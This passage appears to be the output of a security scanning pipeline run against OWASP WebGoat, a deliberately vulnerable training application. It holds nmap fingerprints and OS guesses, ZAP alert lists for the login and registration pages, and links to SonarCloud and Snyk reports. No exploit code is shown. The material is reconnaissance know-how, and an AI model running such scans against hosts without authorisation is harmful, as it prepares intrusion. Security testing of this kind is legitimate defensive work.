")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Mon, 06

SF:0Nov 2023 17:21:51 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:400 Bad Request Content-Length: 0 Connection: close

SF:

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont

SF:ent-Length: 0 Connection: close

")%r(TerminalServerCook

SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:

SF:00 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400\n

SF:x20Bad Request Content-Length: 0 Connection: close

SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng

SF:th: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co

SF:ntent-Length: 0 Connection: close

")%r(WMSRequest,42,"H

SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection

SF:: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques

SF:t Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=11/6%Time=654920AE%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach

SF:e-Control: no-cache, no-store, max-age=0, must-revalidate

SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra

SF:me-Options: DENY Date: Mon, 06 Nov 2023 17:21:50\x

SF:20GMT Connection: close Vary: Origin Vary: Access-Con

SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con

SF:tent-Type-Options: nosniff Content-Type: application/json \n

SF:r { \"timestamp\" : \"2023-11-06T17:21:50.047+00:00\"

SF:, \"status\" : 404, \"error\" : \"Not

SF:Found\", \"path\" : \"/\" }")%r(WMSRequest,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(SqueezeCenter_C

SF:LI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(GenericLines,42,"HTTP/1.1 400 Bad

SF: Request Content-Length: 0 Connection: close

")%r

SF:(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0

SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida

SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X

SF:-Frame-Options: DENY Date: Mon, 06 Nov 2023 17:22:

SF:07 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA

SF:CE, OPTIONS, PATCH Connection: close Vary: Origin

SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque

SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap

SF:plication/json

{ \"timestamp\" : \"2023-11-06T17:

SF:22:07.970+00:00\", \"status\" : 404, \"error\n

SF:" : \"Not Found\", \"path\" : \"/\" }")%r(RTSP

SF:Request,42,"HTTP/1.1 400 Bad Request Content-Length: 0\n

SF:r Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:4.0 cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3.10 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 6297.17 ms 20.193.243.54

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 343.96 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (https://nmap.org) at 2023-11-06 17:24 UTC

Nmap scan report for 20.193.243.54

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (https://nmap.org) at 2023-11-06 17:24 UTC

Nmap scan report for 20.193.243.54

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds

Priority-High - OWASP WebGoat Login Page ZAP Scan

GitHub Issue number # 671

GitHub Issue URL : Here!

- Site: http://20.193.243.54:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.193.243.54:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.193.243.54:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.193.243.54:8080/WebGoat/login
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.193.243.54:8080/WebGoat/login
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://20.193.243.54:8080/
    - http://20.193.243.54:8080/robots.txt
    - http://20.193.243.54:8080/WebGoat/login
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - http://20.193.243.54:8080/
    - http://20.193.243.54:8080/robots.txt
    - http://20.193.243.54:8080/WebGoat/login
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - http://20.193.243.54:8080/
    - http://20.193.243.54:8080/robots.txt
    - http://20.193.243.54:8080/WebGoat/login
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://20.193.243.54:8080/
    - http://20.193.243.54:8080/robots.txt
    - http://20.193.243.54:8080/WebGoat/login
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://20.193.243.54:8080/
    - http://20.193.243.54:8080/robots.txt
    - http://20.193.243.54:8080/sitemap.xml
    - http://20.193.243.54:8080/WebGoat/login
  - **User Agent Fuzzer** [10104] total: 12:
    - http://20.193.243.54:8080/WebGoat
    - http://20.193.243.54:8080/WebGoat
    - http://20.193.243.54:8080/WebGoat
    - http://20.193.243.54:8080/WebGoat
    - http://20.193.243.54:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6774114667

Priority-High - OWASP WebGoat Registration Page ZAP Scan

GitHub Issue number # 670

GitHub Issue URL : Here!

- Site: http://20.193.243.54:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.193.243.54:8080/WebGoat/registration
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.193.243.54:8080/WebGoat/registration
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.193.243.54:8080/WebGoat/registration
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.193.243.54:8080/WebGoat/registration
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - http://20.193.243.54:8080/
    - http://20.193.243.54:8080/robots.txt
    - http://20.193.243.54:8080/sitemap.xml
    - http://20.193.243.54:8080/WebGoat/registration
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - http://20.193.243.54:8080/
    - http://20.193.243.54:8080/robots.txt
    - http://20.193.243.54:8080/sitemap.xml
    - http://20.193.243.54:8080/WebGoat/registration
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - http://20.193.243.54:8080/
    - http://20.193.243.54:8080/robots.txt
    - http://20.193.243.54:8080/sitemap.xml
    - http://20.193.243.54:8080/WebGoat/registration
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - http://20.193.243.54:8080/
    - http://20.193.243.54:8080/robots.txt
    - http://20.193.243.54:8080/sitemap.xml
    - http://20.193.243.54:8080/WebGoat/registration
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://20.193.243.54:8080/
    - http://20.193.243.54:8080/robots.txt
    - http://20.193.243.54:8080/sitemap.xml
    - http://20.193.243.54:8080/WebGoat/registration
  - **User Agent Fuzzer** [10104] total: 12:
    - http://20.193.243.54:8080/WebGoat
    - http://20.193.243.54:8080/WebGoat
    - http://20.193.243.54:8080/WebGoat
    - http://20.193.243.54:8080/WebGoat
    - http://20.193.243.54:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6774114667

- Site: http://40.80.86.52:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://40.80.86.52:8080/WebGoat/registration
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://40.80.86.52:8080/WebGoat/registration

- **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
  - http://40.80.86.52:8080/WebGoat/registration
- **Permissions Policy Header Not Set** [10063] total: 1:
  - http://40.80.86.52:8080/WebGoat/registration
- **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
  - http://40.80.86.52:8080/
  - http://40.80.86.52:8080/robots.txt
  - http://40.80.86.52:8080/WebGoat/registration
- **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
  - http://40.80.86.52:8080/
  - http://40.80.86.52:8080/robots.txt
  - http://40.80.86.52:8080/WebGoat/registration
- **Sec-Fetch-Site Header is Missing** [90005] total: 3:
  - http://40.80.86.52:8080/
  - http://40.80.86.52:8080/robots.txt
  - http://40.80.86.52:8080/WebGoat/registration
- **Sec-Fetch-User Header is Missing** [90005] total: 3:
  - http://40.80.86.52:8080/
  - http://40.80.86.52:8080/robots.txt
  - http://40.80.86.52:8080/WebGoat/registration
- **Storable and Cacheable Content** [10049] total: 4:
  - http://40.80.86.52:8080/
  - http://40.80.86.52:8080/robots.txt
  - http://40.80.86.52:8080/sitemap.xml
  - http://40.80.86.52:8080/WebGoat/registration
- **User Agent Fuzzer** [10104] total: 12:
  - http://40.80.86.52:8080/WebGoat
  - http://40.80.86.52:8080/WebGoat
  - http://40.80.86.52:8080/WebGoat
  - http://40.80.86.52:8080/WebGoat
  - http://40.80.86.52:8080/WebGoat
  - ..

View the following link to download the report. RunnerID:6767447543

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 669

GitHub Issue URL : Here!

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 668

GitHub Issue URL : Here!

Snyk_scan
"priotity High"

Snyk Scan for OWASP WebGoat

Go to https://app.snyk.io/org/pradyumna-muppirala for full report of Snyk with Github SSO.

Conclusion: This is the end of the report. The above logs show the execution traces for various security scanning tools.